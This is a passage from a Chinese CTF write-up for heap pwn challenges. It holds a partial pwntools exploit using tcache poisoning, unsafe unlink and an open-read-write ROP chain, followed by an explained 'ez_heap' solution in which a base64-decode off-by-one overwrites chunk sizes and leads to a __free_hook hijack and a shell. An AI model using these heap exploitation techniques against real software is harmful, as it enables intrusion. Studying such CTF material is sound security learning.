p.sendafter(b'content:', content)
def delete(index: int) -> None:
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'idx:', str(index).encode())
def show(index: int) -> bytes:
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'idx:', str(index).encode())
return p.recvuntil(b'Please choice your option!!!').split(b'\nPlease choice your option!!!')[0]
def edit(index: int, content: bytes) -> None:
p.sendlineafter(b'>>', b'4')
p.sendlineafter(b'idx:', str(index).encode())
p.sendafter(b'content:', content)
# --------------
def encrypt(data: bytes) -> bytes:
key = b'\x00' * 16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt(data: bytes) -> bytes:
key = b'\x00' * 16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(data)
add(0, b'a' * 16)
data = show(0)
leak_addr = u64_(data.split(b'a' * 16)[1])
program_base = leak_addr - 0x1bf0
BookList_addr = program_base + 0x4080
print(f'program_base: { hex(program_base) }')
print(f'BookList_addr: { hex(program_base) }')
add(1, b'nothing')
delete(0)
delete(1)
edit(1, b'\xa0') # modify the fd to the KEY chunk
add(2, b'nothing')
add(3, b'\x00\x00\x00\x00\x00\x00\x00\x00') # refresh key to 0x00
add(4, b'a' * 32)
delete(4)
data = show(4)[1:]
leak_addr_1 = u64_(encrypt(data[:16])[-8:]) # the original data got decrypted in program, here you need to encrypt it at first
heap_base = leak_addr_1 - 0x10
print(f'heap_base: { hex(heap_base) }')
# control the bin head and bin size
add(14, b'nothing')
add(15, b'nothing')
delete(14)
delete(15)
edit(15, p64(heap_base + 0xa0)[:7])
add(14, b'nothing')
add(15, b'nothing')
delete(14)
def modify_bin_addr(address: int) -> None:
edit(15, p64(address)[:7])
modify_bin_addr(heap_base + 0x10)
add(14, b'nothing')
def modify_bin_size(size: int) -> None:
edit(14, p32(0) + p32(size))
def modify_addr_value(addr: int, value: bytes) -> None:
modify_bin_addr(addr)
modify_bin_size(3)
add(13, value)
modify_bin_size(0)
add(7, b'a' * 32)
p7_chunk = heap_base + 0x3b0
# alloc num of 0x20 chunk as padding of 0x500 unsorted bin
for i in range(0, 0x20):
add(8, p64(0x123456))
modify_addr_value(p7_chunk + 0x8, p64(0x501))
delete(7)
data = show(7)[1:]
leak_addr = u64_(encrypt(data[:16])[-8:])
libc_base = leak_addr - 0x1ecbe0
binsh = libc_base + 0x1b45bd
print(f'libc_base: { hex(libc_base) }')
libc.address = libc_base
modify_bin_size(0)
# unsafe unlink start --------
add(8, decrypt(b'nothings' * 2))
p8_chunk = heap_base + 0x3b0
add(9, decrypt(b'nothings' * 2))
p9_chunk = heap_base + 0x3f0
p8_pointer = BookList_addr + 0x8 * 8
edit(8, decrypt(p64(0) + p64(0x31) + p64(p8_pointer - 0x18) + p64(p8_pointer - 0x10)) )
modify_addr_value(p9_chunk, p64(0x30))
modify_addr_value(p9_chunk + 0x8, p64(0x500))
delete(9)
# unsafe unlink end --------
modify_bin_size(0)
add(5, 'a' * 32)
def modify_addr_value_pro(addr: int, value: bytes) -> None:
edit(8, p64(addr))
edit(5, value)
def show_addr_value(addr: int) -> bytes:
edit(8, p64(addr))
return encrypt(show(5)[1:][:16])
data = show_addr_value(libc.symbols['environ'])[:8]
stack_base = u64(data)
ret_addr = stack_base - 0x130
write_addr = stack_base - 0x2000
gadget_addr = write_addr
flag_addr = write_addr + 0x8
orm_addr = write_addr + 0x10
print(f'stack_base: { hex(stack_base) }')
print(f'ret_addr: { hex(ret_addr) }')
print(f'write_addr: { hex(write_addr) }')
buffer_addr = heap_base + 0x500
pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0xdfc12
orw = b''
orw += asm('pop rsp; ret;' + 'nop;' * 6)
orw += b'./flag'.ljust(8, b'\x00')
orw += p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rsi) + p64(0x4)
orw += p64(libc.symbols['open'])
orw += p64(pop_rdi) + p64(3) # 3 is the fd of open file
orw += p64(pop_rdi) + p64(3) # 3 is the fd of open file
orw += p64(pop_rdi) + p64(3) # 3 is the fd of open file
orw += p64(pop_rsi) + p64(buffer_addr)
orw += p64(pop_rdx) + p64(0xff)
orw += p64(libc.symbols['read'])
orw += p64(pop_rdi) + p64(1) # 1: stdout
orw += p64(pop_rdi) + p64(1) # 1: stdout
orw += p64(pop_rdi) + p64(1) # 1: stdout
orw += p64(pop_rsi) + p64(buffer_addr)
orw += p64(pop_rdx) + p64(0xff)
orw += p64(libc.symbols['write'])
for i in range(0, len(orw), 8):
modify_addr_value_pro(write_addr + i, orw[i: i + 8])
modify_addr_value_pro(ret_addr, decrypt(p64(gadget_addr) + p64(orm_addr)))
p.recvuntil(b'flag')
print(b'flag' + p.recv(0x50))
pwn ez_heap
这个题笔者做复杂了,在中间想着后面应该有一大段流程,就控制了 bin_head 和 bin_size,实则完全不用控制. 到后期 unsorted bin free 获取 libc 基址后,再通过简单的 tcache bin attack 即可成功修改 __free_hook
,进而 getshell.
首先笔者分析一下这个题,这个题遍历了一下 Encode/Decode 增删查函数看似没有漏洞,但是其实还是有点小漏洞的. 在用户调用 Decode 增时,会自动 malloc 一个大小为 3 * len(用户输入) >> 2
的 chunk,当用户输入的数据缺失后面的 =
padding,程序依然还是可以解析不过会解析为某个奇怪的字符串.
Decode("MTIzNDU2Nw==") == b"1234567\x00"
# malloc 的空间为 (12 >> 2) * 3 = 9,不造成溢出
Decode("MTIzNDU2Nw") == b"1234567\x10\x81"
# malloc 的空间为 (10 >> 2) * 3 = 6,溢出
于是乎大概就清楚了,符号后面的 =
省略会造成溢出漏洞. 但是这溢出的一两个字节又怎么造成危害呢?
笔者发现了一个比较奇特的长度以及奇特的字符串 payload:
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTE
或者全零字符串如下所示
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
其 malloc 的长度为 (75 >> 2) * 3 == 0x36 借位--> 0x38
,而其 decode 的数据为 0x38 * b'1' + b'\x41' == 0x39
,因此就溢出了一位,而且刚好是溢出到下一个 chunk 的 size 处,如下所示:
0x55555555c290: 0x0000000000000000 0x0000000000000041
0x55555555c2a0: 0x3131313131313131 0x3131313131313131
0x55555555c2b0: 0x3131313131313131 0x3131313131313131
0x55555555c2c0: 0x3131313131313131 0x3131313131313131
0x55555555c2d0: 0x3131313131313131 0x0000000000000041 <-- 这里的 0x41 为字符串覆盖值,本来应为下一个 chunk 的 header
这样,就能完全覆盖下一个堆的 size 为 0x41.
虽然听起来很局限,但是已经足够修改掉下下个堆的 size 为任意字节,如下所示在程序开始初,先对某块内存布局如下
0x0000000000000000 0x0000000000000041 chunk_1
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000021 chunk_2
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000021 chunk_3
0x0000000000000000 0x0000000000000000
通过 Decode 修改 chunk_1 的数据为 字符串 payload,覆盖掉 chunk_2 size
0x0000000000000000 0x0000000000000041 chunk_1
0x3131313131313131 0x3131313131313131
0x3131313131313131 0x3131313131313131
0x3131313131313131 0x3131313131313131
0x3131313131313131 0x0000000000000041 chunk_2 此刻的 size 已被修改可造成 attack
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000021 chunk_3
0x0000000000000000 0x0000000000000000
此时 chunk_2 就可以任意修改 chunk_3 的 size,甚至能够读取到 free 后的 chunk_3 的 fd、tcache bin num 值.
接下来的流程就是普通通过 unsorted bin attack 获取 libc 基址,然后通过 libc 打 __free_hook
getshell,笔者不再赘述.(中间笔者获取了 heap_struct_base 打 tcache_perthread_struct,实则完全没必要,直接 unsorted bin 获取 libc 打 __free_hook
就行了)
# by leeya_bug
from ast import literal_eval
from pwn import *
import time
import os
import base64
SLEEP_TIME = 0.2
context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/pwn')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def debug(interact = True, query = ''):
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -ex "{query}" -p {p.pid}' '''])
if interact: p.interactive()
def original_debug(interact = True):
gdb.attach(p)
if interact: p.interactive()
u64_ = lambda a: u64(a.ljust(8,b'\x00'))
# ------------- 基本配置 -------------
def add_Encode(content: bytes) -> None:
p.sendlineafter(b'Enter your choice:', b'1')
p.sendafter(b'Enter the text to encode:', content)
def add_Decode(content: bytes) -> None:
p.sendlineafter(b'Enter your choice:', b'2')
p.sendafter(b'Enter the text to decode:', content)
def del_Encode(index: int) -> None:
p.sendlineafter(b'Enter your choice:', b'3')
p.sendlineafter(b'idx:', str(index).encode())
def del_Decode(index: int) -> None:
p.sendlineafter(b'Enter your choice:', b'4')
p.sendlineafter(b'idx:', str(index).encode())
def show_Decode(index: int) -> None:
p.sendlineafter(b'Enter your choice:', b'6')
p.sendlineafter(b'idx:', str(index).encode())
p.recvuntil(b'Content: ')
return p.recvuntil(b'Base64 Encode/Decode').split(b'Base64 Encode/Decode')[0].strip(b'\n')
# --------------
def Padding(chunk_header: int) -> str:
return base64.b64encode((chunk_header - 0x10 + 0x05) * b'\x00')
# payload1 decode length: 0x38, data: 0x00
payload1 = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
add_Decode(Padding(0x41)) # 0
add_Decode(Padding(0x21)) # 1, the payload1 will modify chunk_1's size from 0x21 to 0x41, in order to modify the chunk_2's size
add_Decode(Padding(0x21)) # 2, the chunk_1 could modify the chunk_2's size to any value you wanna be
add_Decode(Padding(0x21)) # 3
add_Decode(Padding(0x21)) # 4
del_Decode(0)
add_Decode(payload1) # 0
del_Decode(4)
del_Decode(3)
del_Decode(1) # 0x41
# modify the header of chunk from 0x21 to 0x31, read more data
# and reserve a '/bin/sh' for __free_hook getshell
add_Decode(base64.b64encode(b'/bin/sh\x00' + p64(0) * 2 + p64(0x31) + p64(0) * 2 + b'\x00')) # 1
# break the first bin and get the data
del_Decode(2) # 0x31
add_Decode(base64.b64encode(p64(0xffffffffffffffff) * 4 + b'\xff')) # 2
leak_addr = u64_(show_Decode(2)[-6:])
heap_base = leak_addr - 0x3ff
bin_struct = heap_base + 0x10
# fix the first bin and redirect fd to bin_struct
del_Decode(2) # 0x31
add_Decode(base64.b64encode(p64(0) * 3 + p64(0x21) + p64(bin_struct)[:6])) # 2
add_Decode(Padding(0x21)) # 3
# free 0, give the "modify" 0
del_Decode(0)
add_Decode(base64.b64encode(p64(0x7))) # 0
def modify_bin_head(value: int) -> None:
struct_data = flat({
0x10 - 0x10: 0x7, # bin_size
0x90 - 0x10: p64(value) # bin_head
}, filler=b'\0').ljust(0x291 - 0x10 + 0x05, b'\x00')
del_Decode(0)
add_Decode(base64.b64encode(struct_data))
def clear_bin_head() -> None:
struct_data = flat({
0x0: 0x0
}, filler=b'\0').ljust(0x291 - 0x10 + 0x05, b'\x00')
del_Decode(0)
add_Decode(base64.b64encode(struct_data))
clear_bin_head()
add_Decode(Padding(0x21)) # 4 0x350
add_Encode(0x400 * b'a') # 0 0x370
# prevent merging with top chunk
add_Decode(Padding(0x21))
del_Encode(0)
modify_bin_head(bin_struct + 0x350 - 0x10)
# modify the header of chunk from 0x21 to 0x31, read more data
add_Decode(base64.b64encode(p64(0) + p64(0x31) + p32(0))) # 4
# break the unsorted bin head, and get the data
del_Decode(4)
add_Decode(base64.b64encode(p64(0xffffffffffffffff) * 4 + b'\xff')) # 4
leak_addr = u64_(show_Decode(4)[-6:])
libc_base = leak_addr - 0x1ecbff
libc.address = libc_base
modify_bin_head(libc.symbols['__free_hook'])
add_Decode(base64.b64encode(p64(libc.symbols['system']) + p64(0) + p32(0)) )
del_Decode(1)
p.interactive()
pwn qvm
(完)